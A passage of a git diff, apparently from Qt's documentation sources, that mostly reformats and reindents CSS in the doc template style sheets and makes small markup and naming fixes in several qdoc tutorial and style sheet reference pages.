- *left: 30px;
- _left: 0;
- *top: 35px;
- _top: 30px;
- _zoom: 1;
- background-color: #fff;
- border: 1px solid #666;
- z-index: 4;
- margin-top: 5px;
- _margin: 0 0 0 -20px;
- padding: 10px;
- width: 30%;
- _width: 196px;
- height: 250px;
- overflow: auto;
- -webkit-border-radius: .5em;
- -moz-border-radius: .5em;
- border-radius: .5em;
- -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
- font-size: 11px;
- }
-
- #resultdialog a
- {
+ color:#AAD2F0;
+ font-style:italic;
+ }
+ .sidebar .search form input.loading
+ {
+ background:url("../images/spinner.gif") no-repeat scroll right center transparent;
+ }
+
+ .sidebar .search form {
+ _height: 23px;
+ _width: 169px;
+ }
+
+ #resultdialog {
+ display: none;
+ position: absolute;
+ *left: 30px;
+ _left: 0;
+ *top: 35px;
+ _top: 30px;
+ _zoom: 1;
+ background-color: #fff;
+ border: 1px solid #666;
+ z-index: 4;
+ margin-top: 5px;
+ _margin: 0 0 0 -20px;
+ padding: 10px;
+ width: 30%;
+ _width: 196px;
+ height: 250px;
+ overflow: auto;
+ -webkit-border-radius: .5em;
+ -moz-border-radius: .5em;
+ border-radius: .5em;
+ -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+ font-size: 11px;
+ }
+
+ #resultdialog a
+ {
color: #00732f;
- }
-
- #resultdialog.active {
- display: block;
- }
-
- .narrow #resultdialog {
- width: 60%;
- _width: 360px;
- }
-
- .narrow #resultdialog.active {
- right: 10px;
- *left: auto;
- _left: auto;
- _right: -20px;
- }
-
-
- #resultdialog #resultclose {
- float: right;
- }
-
- #resultdialog p,
- #resultdialog ul {
- clear: both;
- margin: 3px 0;
- }
-
- p#searchcount span {
- display: none;
- }
-
- p#searchcount.all span#resultcount,
- p#searchcount.api span#apicount,
- p#searchcount.article span#articlecount,
- p#searchcount.example span#examplecount {
- display: inline;
- }
-
- #resultlist li {
- display: none;
- }
-
- #resultlist.api li.api,
- #resultlist.article li.article,
- #resultlist.example li.example,
- #resultlist.all li {
- display: block;
- }
-
- #resultlinks.api a#showapiresults,
- #resultlinks.api a#showapiresults:hover,
- #resultlinks.article a#showarticleresults,
- #resultlinks.article a#showarticleresults:hover,
- #resultlinks.example a#showexampleresults,
- #resultlinks.example a#showexampleresults:hover,
- #resultlinks.all a#showallresults,
- #resultlinks.all a#showallresults:hover {
- color: #B0ADAB;
- }
- .floatingResult{
- z-index:1;
- position:relative;
- padding-top:0px;
- background-color:white;
- border:solid 1px black;
- height:250px;
- width:600px;
- overflow-x:hidden;
- overflow-y:auto;
- }
-
- .floatingResult:hover{
- display:block;
- }
- .floatingResult:hover{
- }
-
+ }
+
+ #resultdialog.active {
+ display: block;
+ }
+
+ .narrow #resultdialog {
+ width: 60%;
+ _width: 360px;
+ }
+
+ .narrow #resultdialog.active {
+ right: 10px;
+ *left: auto;
+ _left: auto;
+ _right: -20px;
+ }
+
+
+ #resultdialog #resultclose {
+ float: right;
+ }
+
+ #resultdialog p,
+ #resultdialog ul {
+ clear: both;
+ margin: 3px 0;
+ }
+
+ p#searchcount span {
+ display: none;
+ }
+
+ p#searchcount.all span#resultcount,
+ p#searchcount.api span#apicount,
+ p#searchcount.article span#articlecount,
+ p#searchcount.example span#examplecount {
+ display: inline;
+ }
+
+ #resultlist li {
+ display: none;
+ }
+
+ #resultlist.api li.api,
+ #resultlist.article li.article,
+ #resultlist.example li.example,
+ #resultlist.all li {
+ display: block;
+ }
+
+ #resultlinks.api a#showapiresults,
+ #resultlinks.api a#showapiresults:hover,
+ #resultlinks.article a#showarticleresults,
+ #resultlinks.article a#showarticleresults:hover,
+ #resultlinks.example a#showexampleresults,
+ #resultlinks.example a#showexampleresults:hover,
+ #resultlinks.all a#showallresults,
+ #resultlinks.all a#showallresults:hover {
+ color: #B0ADAB;
+ }
+ .floatingResult{
+ z-index:1;
+ position:relative;
+ padding-top:0px;
+ background-color:white;
+ border:solid 1px black;
+ height:250px;
+ width:600px;
+ overflow-x:hidden;
+ overflow-y:auto;
+ }
+
+ .floatingResult:hover{
+ display:block;
+ }
+ .floatingResult:hover{
+ }
/* end sidebar elements */
+
/* content elements */
.wrap
{
margin: 0 5px 0 208px;
- overflow: visible;
+ overflow: visible;
}
-
-
-
.wrap .toolbar
{
background-color: #fafafa;
border-bottom: 1px solid #d1d1d1;
- height: 20px;
+ height: 20px;
position: relative;
}
.wrap .toolbar .toolblock
@@ -842,11 +856,10 @@
color: #00732F;
}
-
.wrap .content
{
padding: 30px;
- word-wrap:break-word;
+ word-wrap:break-word;
}
.wrap .breadcrumb ul
@@ -875,32 +888,29 @@
margin-left: 0;
}
+ .wrap .content ol li {
+ background:none;
+ font:normal 10pt/1.2 Verdana;
-
-
- .wrap .content ol li {
- background:none;
- font:normal 10pt/1.2 Verdana;
-
- margin-bottom:10px;
- margin-left:12px;
- /*list-style-type:disc;*/
- }
+ margin-bottom:10px;
+ margin-left:12px;
+ /*list-style-type:disc;*/
+ }
.wrap .content ol li
{
- background:none;
- margin-bottom: 10px;
- padding-left:0px;
- margin-left:52px;
+ background:none;
+ margin-bottom: 10px;
+ padding-left:0px;
+ margin-left:52px;
}
-
+
.wrap .content li
{
background: url(../images/bullet_sq.png) no-repeat 0 5px;
font: normal 400 10pt/1.2 Verdana;
- margin-bottom: 10px;
- padding-left:12px;
+ margin-bottom: 10px;
+ padding-left:12px;
}
.content li:hover {}
@@ -911,16 +921,16 @@
}
.wrap .content h2
{
- font:600 16px/1.2 Arial;
- margin-top:15px;
- width:100%;
+ font:600 16px/1.2 Arial;
+ margin-top:15px;
+ width:100%;
}
.wrap .content h3
{
font: bold 14px/1.2 Arial;
- font:600 16px/1.2 Arial;
- margin-top:15px;
- width:100%;
+ font:600 16px/1.2 Arial;
+ margin-top:15px;
+ width:100%;
}
.wrap .content p
{
@@ -930,25 +940,25 @@
.wrap .content table p
{
line-height: 20px;
- }
+ }
.wrap .content ul
{
padding-left: 25px;
padding-top: 10px;
}
- .wrap .content ul img {
- vertical-align:middle;
- }
+ .wrap .content ul img {
+ vertical-align:middle;
+ }
a:hover
{
color: #4c0033;
text-decoration: underline;
}
- descr p a
+ descr p a
{
text-decoration: underline;
}
-
+
.descr p a:visited
{
text-decoration: underline;
@@ -969,56 +979,56 @@
color: #00732F;
text-decoration: underline;
}
- .alphaChar{
- width:95%;
- background-color:#F6F6F6;
- border:1px solid #E6E6E6;
- -moz-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- font-size:12pt;
- padding-left:10px;
- margin-top:10px;
- margin-bottom:10px;
- }
- .flowList{
- /*vertical-align:top;*/
- /*margin:20px auto;*/
-
- column-count:3;
- -webkit-column-count:3;
- -moz-column-count:3;
+ .alphaChar{
+ width:95%;
+ background-color:#F6F6F6;
+ border:1px solid #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ font-size:12pt;
+ padding-left:10px;
+ margin-top:10px;
+ margin-bottom:10px;
+ }
+ .flowList{
+ /*vertical-align:top;*/
+ /*margin:20px auto;*/
+
+ column-count:3;
+ -webkit-column-count:3;
+ -moz-column-count:3;
/*
- column-width:100%;
- -webkit-column-width:200px;
- -col-column-width:200px;
+ column-width:100%;
+ -webkit-column-width:200px;
+ -col-column-width:200px;
*/
- column-gap:41px;
- -webkit-column-gap:41px;
- -moz-column-gap:41px;
-
- column-rule: 1px dashed #ccc;
- -webkit-column-rule: 1px dashed #ccc;
- -moz-column-rule: 1px dashed #ccc;
- }
-
- .flowList dl{
- }
- .flowList dd{
- /*display:inline-block;*/
- margin-left:10px;
- min-width:250px;
- line-height: 1.5;
- min-width:100%;
- min-height:15px;
- }
-
- .flowList dd a{
- }
-
- .wrap .content .flowList p{
- padding:0px;
- }
+ column-gap:41px;
+ -webkit-column-gap:41px;
+ -moz-column-gap:41px;
+
+ column-rule: 1px dashed #ccc;
+ -webkit-column-rule: 1px dashed #ccc;
+ -moz-column-rule: 1px dashed #ccc;
+ }
+
+ .flowList dl{
+ }
+ .flowList dd{
+ /*display:inline-block;*/
+ margin-left:10px;
+ min-width:250px;
+ line-height: 1.5;
+ min-width:100%;
+ min-height:15px;
+ }
+
+ .flowList dd a{
+ }
+
+ .wrap .content .flowList p{
+ padding:0px;
+ }
.content .alignedsummary
{
@@ -1068,7 +1078,7 @@
background-color: #e6e7e8;
z-index: 4;
}
- #feedcloseX
+ #feedcloseX
{
display: inline;
padding: 5px 5px 0 0;
@@ -1086,25 +1096,25 @@
height: 120px;
margin: 0px 25px 10px 15px;
}
- #noteHead
- {
- font-weight:bold;
- padding:10px 10px 10px 20px;
- }
+ #noteHead
+ {
+ font-weight:bold;
+ padding:10px 10px 10px 20px;
+ }
#feedsubmit
{
display: inline;
float: right;
margin: 4px 32px 0 0;
}
-
- .note
- {
- font-size:7pt;
- padding-bottom:3px;
- padding-left:20px;
- }
-
+
+ .note
+ {
+ font-size:7pt;
+ padding-bottom:3px;
+ padding-left:20px;
+ }
+
#blurpage
{
display: none;
@@ -1136,67 +1146,67 @@
font: bold 12px/1.2 Arial;
}
- .generic{
- }
- .generic td{
- /* padding:5px;*/
- }
- .generic .alphaChar{
- margin-top:5px;
- }
-
- .generic .odd .alphaChar{
+ .generic{
+ }
+ .generic td{
+ /* padding:5px;*/
+ }
+ .generic .alphaChar{
+ margin-top:5px;
+ }
+
+ .generic .odd .alphaChar{
background-color: #F6F6F6;
- }
-
- .generic .even .alphaChar{
+ }
+
+ .generic .even .alphaChar{
background-color: #FFFFFF;
- }
-
- .alignedsummary{}
- .propsummary{}
- .memItemLeft{}
- .memItemRight{
- padding:3px 15px 3px 0;
- }
- .bottomAlign{}
- .highlightedCode
- {
- margin:10px;
- }
- .LegaleseLeft{}
- .valuelist{}
- .annotated td{
- padding: 3px 5px 3px 5px;
- }
- .obsolete{}
- .compat{}
- .flags{}
- .qmlsummary{}
- .qmlitem{}
- .qmlproto{}
- .qmlname{}
- .qmlreadonly{}
- .qmldefault{}
- .qmldoc{}
- .qt-style{}
- .redFont{}
- code{}
-
+ }
+
+ .alignedsummary{}
+ .propsummary{}
+ .memItemLeft{}
+ .memItemRight{
+ padding:3px 15px 3px 0;
+ }
+ .bottomAlign{}
+ .highlightedCode
+ {
+ margin:10px;
+ }
+ .LegaleseLeft{}
+ .valuelist{}
+ .annotated td{
+ padding: 3px 5px 3px 5px;
+ }
+ .obsolete{}
+ .compat{}
+ .flags{}
+ .qmlsummary{}
+ .qmlitem{}
+ .qmlproto{}
+ .qmlname{}
+ .qmlreadonly{}
+ .qmldefault{}
+ .qmldoc{}
+ .qt-style{}
+ .redFont{}
+ code{}
+
.wrap .content .toc ul
{
padding-left: 0px;
}
- .wrap .content .toc h3{
- border-bottom:0px;
- margin-top:0px;
- }
-
- .wrap .content .toc h3 a:hover{
- color:#00732F;
- text-decoration:none;
- }
+ .wrap .content .toc h3{
+ border-bottom:0px;
+ margin-top:0px;
+ }
+
+ .wrap .content .toc h3 a:hover{
+ color:#00732F;
+ text-decoration:none;
+ }
.wrap .content .toc .level2
@@ -1234,60 +1244,58 @@
}
h3.fn, span.fn
{
- -moz-border-radius:7px 7px 7px 7px;
- -webkit-border-radius:7px 7px 7px 7px;
- border-radius:7px 7px 7px 7px;
+ -moz-border-radius:7px 7px 7px 7px;
+ -webkit-border-radius:7px 7px 7px 7px;
+ border-radius:7px 7px 7px 7px;
background-color: #F6F6F6;
border-width: 1px;
border-style: solid;
border-color: #E6E6E6;
font-weight: bold;
- word-spacing:3px;
- padding:3px 5px;
- }
-
- .functionIndex {
- font-size:12pt;
- word-spacing:10px;
- margin-bottom:10px;
- background-color: #F6F6F6;
- border-width: 1px;
- border-style: solid;
- border-color: #E6E6E6;
- -moz-border-radius: 7px 7px 7px 7px;
- -webkit-border-radius: 7px 7px 7px 7px;
- border-radius: 7px 7px 7px 7px;
- width:100%;
- }
-
- .centerAlign
- {
- text-align:center;
- }
-
- .rightAlign
- {
- text-align:right;
- }
-
-
- .leftAlign
- {
- text-align:left;
- }
-
- .topAlign{
- vertical-align:top
- }
-
- .functionIndex a{
- display:inline-block;
- }
-
+ word-spacing:3px;
+ padding:3px 5px;
+ }
+
+ .functionIndex {
+ font-size:12pt;
+ word-spacing:10px;
+ margin-bottom:10px;
+ background-color: #F6F6F6;
+ border-width: 1px;
+ border-style: solid;
+ border-color: #E6E6E6;
+ -moz-border-radius: 7px 7px 7px 7px;
+ -webkit-border-radius: 7px 7px 7px 7px;
+ border-radius: 7px 7px 7px 7px;
+ width:100%;
+ }
+
+ .centerAlign
+ {
+ text-align:center;
+ }
+
+ .rightAlign
+ {
+ text-align:right;
+ }
+
+ .leftAlign
+ {
+ text-align:left;
+ }
+
+ .topAlign{
+ vertical-align:top
+ }
+
+ .functionIndex a{
+ display:inline-block;
+ }
/* end content elements */
-/* footer elements */
- .footer
+/* footer elements */
+ .footer
{
min-height: 100px;
color: #797775;
@@ -1297,20 +1305,17 @@
background-color: #E6E7E8;
margin: 0;
}
- .small
+ .small
{
font: normal 9px/1 Verdana;
- }
+ }
/* end footer elements */
-
-
-
/* start index box */
.indexbox
{
width: 100%;
- display:inline-block;
+ display:inline-block;
}
.indexboxcont
@@ -1330,26 +1335,24 @@
.indexboxcont .section
{
display: inline-block;
- width: 49%;
+ width: 49%;
*width:42%;
_width:42%;
padding:0 2% 0 1%;
vertical-align:top;
-
-}
+ }
.indexboxcont .indexIcon
{
- width: 11%;
+ width: 11%;
*width:18%;
_width:18%;
overflow:hidden;
+ }
-}
-
-.indexboxcont .section {
- float: left;
-}
+ .indexboxcont .section {
+ float: left;
+ }
.indexboxcont .section p
{
@@ -1359,8 +1362,8 @@
.indexboxcont .sectionlist
{
display: inline-block;
- vertical-align:top;
- width: 32.5%;
+ vertical-align:top;
+ width: 32.5%;
padding: 0;
}
.indexboxcont .sectionlist ul
@@ -1389,17 +1392,16 @@
color: #00732f;
text-decoration: none;
}
-
- .indexbox .indexIcon {
- width: 11%;
- }
-
+ .indexbox .indexIcon {
+ width: 11%;
+ }
+
.indexbox .indexIcon span
{
display: block;
}
-
+
.indexbox.guide .indexIcon span
{
width: 96px;
@@ -1407,7 +1409,7 @@
background: url(../images/sprites-combined.png) no-repeat -5px -376px;
padding: 0;
}
-
+
.indexbox.tools .indexIcon span
{
width: 115px;
@@ -1423,56 +1425,55 @@
clear: both;
visibility: hidden;
}
-
+
/* start of creator spec*/
- .creator
- {
- margin-left:0px;
- margin-right:0px;
- padding-left:0px;
- padding-right:0px;
- }
- .creator .wrap .content ol li {
- list-style-type:decimal;
-
- }
+ .creator
+ {
+ margin-left:0px;
+ margin-right:0px;
+ padding-left:0px;
+ padding-right:0px;
+ }
+ .creator .wrap .content ol li {
+ list-style-type:decimal;
+ }
.creator .header .icon,
- .creator .feedback,
- .creator .t_button,
.creator .feedback,
- .creator #feedbackBox,
- .creator #feedback,
- .creator #blurpage,
- /*.creator .indexbox .indexIcon span,*/
- .creator .wrapper .hd,
-/* .creator .indexbox .indexIcon,*/
- .creator .header #nav-logo,
- .creator #offlinemenu,
- .creator #offlinesearch,
- .creator .header #nav-topright,
+ .creator .t_button,
+ .creator .feedback,
+ .creator #feedbackBox,
+ .creator #feedback,
+ .creator #blurpage,
+ /* .creator .indexbox .indexIcon span,*/
+ .creator .wrapper .hd,
+ /* .creator .indexbox .indexIcon,*/
+ .creator .header #nav-logo,
+ .creator #offlinemenu,
+ .creator #offlinesearch,
+ .creator .header #nav-topright,
.creator .header #shortCut ,
- .creator .wrapper .hd,
+ .creator .wrapper .hd,
.creator .wrapper .ft,
- .creator .sidebar,
- .creator .wrap .feedback
+ .creator .sidebar,
+ .creator .wrap .feedback
{
- display:none;
+ display:none;
}
-
- body.creator
+
+ body.creator
{
- background: none;
+ background: none;
font: normal 13px/1.2 Verdana;
color: #363534;
- background-color: #FAFAFA;
+ background-color: #FAFAFA;
}
- .wrap .content ol li {
-
- }
+ .wrap .content ol li {
+
+ }
.creator .header, .creator .footer, .creator .wrapper
@@ -1481,19 +1482,18 @@
margin: 0px;
}
- .creator .wrapper
+ .creator .wrapper
{
- position:relative;
- top:5px;
+ position:relative;
+ top:5px;
}
.creator .wrapper .bd
- {
-
- background:#FFFFFF;
- }
+ {
+ background:#FFFFFF;
+ }
- .creator .header, .footer
+ .creator .header, .footer
{
display: block;
clear: both;
@@ -1508,81 +1508,74 @@
.creator .header .qtref span
{
- background:none;
- }
-
+ background:none;
+ }
-
- .creator .footer
+ .creator .footer
{
- border-top:1px solid #E5E5E5;
+ border-top:1px solid #E5E5E5;
height: 50px;
- margin:0px;
- padding:10px;
- }
-
- .creator .footer p
- {
- text-align:justify;
- max-width:900px;
+ margin:0px;
+ padding:10px;
}
-
- .creator .wrap
+
+ .creator .footer p
{
+ text-align:justify;
+ max-width:900px;
+ }
+ .creator .wrap
+ {
padding:0 5px 0 5px;
- margin: 0px;
+ margin: 0px;
}
.creator .wrap .toolbar
{
-
-
- border-bottom:1px solid #E5E5E5;
- /*width:100%;*/
- margin-left:-5px;
- margin-right:-5px;
- }
+ border-bottom:1px solid #E5E5E5;
+ /*width:100%;*/
+ margin-left:-5px;
+ margin-right:-5px;
+ }
.creator .wrap .breadcrumb ul li a
{
/* color: #363534;*/
color: #00732F;
- }
-
+ }
+
.creator .wrap .content
{
padding: 0px;
- word-wrap:break-word;
+ word-wrap:break-word;
}
-
- .creator .wrap .content ol li {
- background:none;
- font: inherit;
+
+ .creator .wrap .content ol li {
+ background:none;
+ font: inherit;
padding-left: 0px;
- }
-
- .creator .wrap .content .descr ol li {
- margin-left: 45px;
+ }
+ .creator .wrap .content .descr ol li {
+ margin-left: 45px;
}
+
.creator .content .alignedsummary
{
margin: 5px;
- width:100%;
- }
- .creator .generic{
- max-width:75%;
- }
- .creator .generic td{
- /*padding:0;*/
- }
+ width:100%;
+ }
+ .creator .generic{
+ max-width:75%;
+ }
+ .creator .generic td{
+ /*padding:0;*/
+ }
.creator .indexboxbar
{
- border-bottom:1px solid #E5E5E5;
+ border-bottom:1px solid #E5E5E5;
margin-bottom: 25px;
- background: none;
+ background: none;
}
-
-
.creator .header
{
@@ -1592,20 +1585,11 @@
background-color: #ffffff;
padding: 10px 0 5px 0;
overflow: visible;
- border-bottom: solid #E5E5E5 1px;
- z-index:1;
-
-
-
-
-
-
-
-
- /* position:fixed;*/
+ border-bottom: solid #E5E5E5 1px;
+ z-index:1;
+ /* position:fixed;*/
}
-
.creator .header .content
{
}
@@ -1621,32 +1605,25 @@
.creator .header .qtref:visited
{
color: #00732F;
- }
+ }
.creator .header .qtref:hover
{
color: #00732F;
- text-decoration:none;
- }
+ text-decoration:none;
+ }
.creator .header .qtref span
{
background-image: none;
text-indent: 0;
- text-decoration:none;
+ text-decoration:none;
}
-
-
-
-
-
.creator .wrap .toolbar
{
display:block;
- padding-top:0px;
+ padding-top:0px;
}
-
-
.creator .wrap .breadcrumb ul li {
font-weight: normal;
}
@@ -1658,80 +1635,78 @@
.creator .wrap .breadcrumb ul li.last a {
/*color: #363534;*/
}
-
- .creator #narrowmenu ul
- {
- border-bottom:solid 1px #E5E5E5;
- border-left:solid 1px #E5E5E5;
- border-right:solid 1px #E5E5E5;
- }
+
+ .creator #narrowmenu ul
+ {
+ border-bottom:solid 1px #E5E5E5;
+ border-left:solid 1px #E5E5E5;
+ border-right:solid 1px #E5E5E5;
+ }
.creator #narrowmenu li ul {
margin-top:-15px;
- }
+ }
+ .creator .toc {
+ margin:10px 20px 10px 10px;
+ }
- .creator .toc {
- margin:10px 20px 10px 10px;
- }
-
- .creator #narrowsearch, .creator #narrowmenu{
- display:none;
- }
+ .creator #narrowsearch, .creator #narrowmenu{
+ display:none;
+ }
/* end of creator spec*/
-
- .item {
- float: left;
- position: relative;
- width: 100%;
- overflow: hidden;
- }
-
-
- .item .primary {
- margin-right: 220px;
- position: relative;
- }
-
- .item hr {
- margin-left: -220px;
- }
-
- .item .secondary {
- float: right;
- width: 200px;
- position: relative;
- }
-
- .item .cols {
- clear: both;
- display: block;
- }
-
- .item .cols .col {
- float: left;
- margin-left: 1.5%;
- }
-
- .item .cols .col.first {
- margin-left: 0;
- }
-
- .item .cols.two .col {
- width: 45%;
- }
-
- .item .box {
- margin: 0 0 10px 0;
- }
-
- .item .box h3 {
- margin: 0 0 10px 0;
- }
-
- .cols.unclear {
- clear:none;
- }
+
+ .item {
+ float: left;
+ position: relative;
+ width: 100%;
+ overflow: hidden;
+ }
+
+ .item .primary {
+ margin-right: 220px;
+ position: relative;
+ }
+
+ .item hr {
+ margin-left: -220px;
+ }
+
+ .item .secondary {
+ float: right;
+ width: 200px;
+ position: relative;
+ }
+
+ .item .cols {
+ clear: both;
+ display: block;
+ }
+
+ .item .cols .col {
+ float: left;
+ margin-left: 1.5%;
+ }
+
+ .item .cols .col.first {
+ margin-left: 0;
+ }
+
+ .item .cols.two .col {
+ width: 45%;
+ }
+
+ .item .box {
+ margin: 0 0 10px 0;
+ }
+
+ .item .box h3 {
+ margin: 0 0 10px 0;
+ }
+
+ .cols.unclear {
+ clear:none;
+ }
}
/* end of screen media */
@@ -1749,8 +1724,7 @@
{
background: none;
display: block;
- width: 100%; margin: 0; float: none;
-
+ width: 100%; margin: 0; float: none;
}
}
/* end of print media */
diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css
index 0cf0f7d..2bdaef4 100644
--- a/doc/src/template/style/superfish.css
+++ b/doc/src/template/style/superfish.css
@@ -1,51 +1,51 @@
.sf-menu, .sf-menu * {
- margin: 0;
- padding: 0;
- list-style: none;
+ margin: 0;
+ padding: 0;
+ list-style: none;
}
.sf-menu {
- line-height: 1.0;
+ line-height: 1.0;
}
.sf-menu ul {
- position: absolute;
- top: -999em;
- width: 10em; /* left offset of submenus need to match (see below) */
+ position: absolute;
+ top: -999em;
+ width: 10em; /* left offset of submenus need to match (see below) */
}
.sf-menu ul li {
- width: 100%;
+ width: 100%;
}
.sf-menu li:hover {
- visibility: inherit; /* fixes IE7 'sticky bug' */
+ visibility: inherit; /* fixes IE7 'sticky bug' */
}
.sf-menu li {
- float: left;
- position: relative;
+ float: left;
+ position: relative;
}
.sf-menu a {
- display: block;
- position: relative;
+ display: block;
+ position: relative;
}
.sf-menu li:hover ul,
.sf-menu li.sfHover ul {
- left: 0;
- top: 2.5em; /* match top ul list item height */
- z-index: 99;
+ left: 0;
+ top: 2.5em; /* match top ul list item height */
+ z-index: 99;
}
ul.sf-menu li:hover li ul,
ul.sf-menu li.sfHover li ul {
- top: -999em;
+ top: -999em;
}
ul.sf-menu li li:hover ul,
ul.sf-menu li li.sfHover ul {
- left: 10em; /* match ul width */
- top: 0;
+ left: 10em; /* match ul width */
+ top: 0;
}
ul.sf-menu li li:hover li ul,
ul.sf-menu li li.sfHover li ul {
- top: -999em;
+ top: -999em;
}
ul.sf-menu li li li:hover ul,
ul.sf-menu li li li.sfHover ul {
- left: 10em; /* match ul width */
- top: 0;
+ left: 10em; /* match ul width */
+ top: 0;
}
diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
index cbc918f..ec4a4f3 100644
--- a/doc/src/tutorials/addressbook.qdoc
+++ b/doc/src/tutorials/addressbook.qdoc
@@ -831,7 +831,7 @@
\snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
Although it is not shown here, just like the other features we implemented,
- we add the push buttons to the layout panel on the right, \c button1Layout,
+ we add the push buttons to the layout panel on the right, \c buttonLayout1,
and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
signals to their respective slots.
diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc
index 88cda72..cae7764 100644
--- a/doc/src/tutorials/modelview.qdoc
+++ b/doc/src/tutorials/modelview.qdoc
@@ -104,7 +104,7 @@
array of the data elements that the user can change. The table widget can be
integrated into a program flow by reading and writing the data elements that
the table widget provides.
-
+
This method is very intuitive and useful in many applications, but displaying
and editing a database table with a standard table widget can be problematic.
Two copies of the data have to be coordinated: one outside the
@@ -156,7 +156,7 @@
\o
\o \l QColumnView shows a tree as a hierarchy of lists
\row
- \o \inlineimage combobox.png
+ \o \inlineimage modelview-combobox.png
\o {2, 1} \l QComboBox can work as both a view class and also
as a traditional widget
\endtable
@@ -348,7 +348,7 @@
\section2 2.4 Setting up Headers for Columns and Rows
Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();}
- \image header.png
+ \image modelview-header.png
The header content, however, is set via the model, so we reimplement the
\l{QAbstractItemModel::headerData()}{headerData()} method:
diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc
index 9938a77..be845c4 100644
--- a/doc/src/widgets-and-layouts/stylesheet.qdoc
+++ b/doc/src/widgets-and-layouts/stylesheet.qdoc
@@ -32,6 +32,7 @@
\ingroup frameworks-technologies
\ingroup qt-basic-concepts
+ \ingroup qt-gui-concepts
\previouspage {Styles and Style Aware Widgets}{Styles}
\contentspage Widgets and Layouts
@@ -1995,7 +1996,7 @@
\l{#bottom-prop}{bottom}.
\row
- \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop
+ \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop
\o \l{#Number}{Number}
\o The QLineEdit password character as a Unicode number.
@@ -2091,8 +2092,7 @@
\row
- \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop
- \BR \c interaction-flags}*
+ \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop
\o \l{#Number}{Number}
\o The interaction behavior for text in a message box.
Possible values are based on Qt::TextInteractionFlags.
@@ -2153,7 +2153,7 @@
See also \l{#min-height-prop}{min-height}.
\row
- \o \bold{\c opacity}* \target opacity-prop
+ \o \bold{\c opacity*} \target opacity-prop
\o \l{#Number}{Number}
\o The opacity for a widget. Possible values are from 0
(transparent) to 255 (opaque). For the moment, this is
@@ -2249,7 +2249,7 @@
\l{#bottom-prop}{bottom}.
\row
- \o \bold{\c selection-background-color}* \target selection-background-color-prop
+ \o \bold{\c selection-background-color*} \target selection-background-color-prop
\o \l{#Brush}{Brush} \BR
\o The background of selected text or items.
@@ -2268,7 +2268,7 @@
\l{Qt Style Sheets Reference#background-prop}{background}.
\row
- \o \bold{\c selection-color}* \target selection-color-prop
+ \o \bold{\c selection-color*} \target selection-color-prop
\o \l{#Brush}{Brush} \BR
\o The foreground of selected text or items.
@@ -2288,8 +2288,7 @@
and \l{#color-prop}{color}.
\row
- \o \bold{\c show-decoration- \target show-decoration-selected-prop
- \BR \c selected}*
+ \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop
\o \l{#Boolean}{Boolean}
\o Controls whether selections in a QListView cover the
entire row or just the extent of the text.
@@ -2304,7 +2303,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73
\row
- \o \bold{\c spacing}* \target spacing-prop
+ \o \bold{\c spacing*} \target spacing-prop
\o \l{#Length}{Length}
\o Internal spacing in the widget.
@@ -2322,7 +2321,7 @@
\l{#margin-prop}{margin}.
\row
- \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop
+ \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop
\o \l{#Origin}{Origin}
\o The origin rectangle of the \l subcontrol within the
parent element.
@@ -2338,7 +2337,7 @@
\l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}.
\row
- \o \bold{\c subcontrol-position}* \target subcontrol-position-prop
+ \o \bold{\c subcontrol-position*} \target subcontrol-position-prop
\o \l{#Alignment}{Alignment}
\o The alignment of the \l subcontrol within the origin
rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop}
@@ -2706,8 +2705,7 @@
\o Shorthand border property.
\row
- \o \bold{Border \target Border Image
- Image}
+ \o \bold{Border Image} \target Border Image
\o \c none \BR
| \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2}
\o A border image is an image that is composed of nine parts
@@ -2723,8 +2721,7 @@
{CSS3 Draft Specification} for details.
\row
- \o \bold{Border \target Border Style
- Style}
+ \o \bold{Border Style} \target Border Style
\o \c dashed \BR
| \c dot-dash \BR
| \c dot-dot-dash \BR
@@ -2741,8 +2738,7 @@
{CSS3 Draft Specification} for details.
\row
- \o \bold{Box \target Box Colors
- Colors}
+ \o \bold{Box Colors} \target Box Colors
\o \l{#Brush}{Brush}\{1,4\}
\o One to four occurrences of \l{#Brush}{Brush}, specifying the top,
right, bottom, and left edges of a box, respectively. If
@@ -2757,8 +2753,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82
\row
- \o \bold{Box \target Box Lengths
- Lengths}
+ \o \bold{Box Lengths} \target Box Lengths
\o \l{#Length}{Length}\{1,4\}
\o One to four occurrences of \l{#Length}{Length}, specifying the
top, right, bottom, and left edges of a box,
@@ -2773,14 +2768,14 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83
\row
- \o \bold Brush \target Brush
+ \o \bold{Brush} \target Brush
\o \l{#Color}{Color} \BR
| \l{Gradient} \BR
| \l{PaletteRole}
\o Specifies a Color or a Gradient or an entry in the Palette.
\row
- \o \bold Color \target Color
+ \o \bold{Color} \target Color
\o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR
